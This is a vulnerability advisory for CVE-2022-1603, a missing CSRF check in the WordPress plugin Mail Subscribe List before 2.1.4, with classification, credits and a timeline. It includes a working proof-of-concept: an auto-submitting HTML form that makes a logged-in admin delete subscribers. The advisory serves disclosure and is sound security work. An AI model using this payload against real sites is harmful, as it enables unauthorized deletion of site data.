Mail Subscribe List < 2.1.4 – Arbitrary Subscribed User Deletion via CSRF | CVE 2022-1603 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when deleting subscribed users, which could allow attackers to make a logged in admin perform such action and delete arbitrary users from the subscribed list

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=mail-subscribe-list/index.php" method="POST">
    <input type="text" name="sml_remove" value="1">
    <input type="text" name="rem[]" value="1">
    <input type="text" name="rem[]" value="4">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

mail-subscribe-list

Fixed in 2.1.4

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website

https://daniel-ruf.de

Verified

Yes

WPVDB ID

0e12ba6f-a86f-4cc6-9013-8a15586098d0

Timeline

Publicly Published

2022-05-26 (about 3 years ago)

Added

2022-05-26 (about 3 years ago)

Last Updated

2023-02-22 (about 2 years ago)

Other

Published

Title

Published

2023-10-03

Title

Taboola < 2.0.2 - CSRF

Published

2023-11-08

Title

WP Full Stripe Free < 7.0.18 - Settings Update via CSRF

Published

2023-04-05

Title

WCFM Marketplace < 3.5.0 - Multiple CSRF

Published

2025-05-19

Title

User Profile Meta Manager <= 1.02 - Cross-Site Request Forgery to Privilege Escalation

Published

2017-01-28

Title

FormBuilder < 1.08 - Cross-Site Request Forgery (CSRF)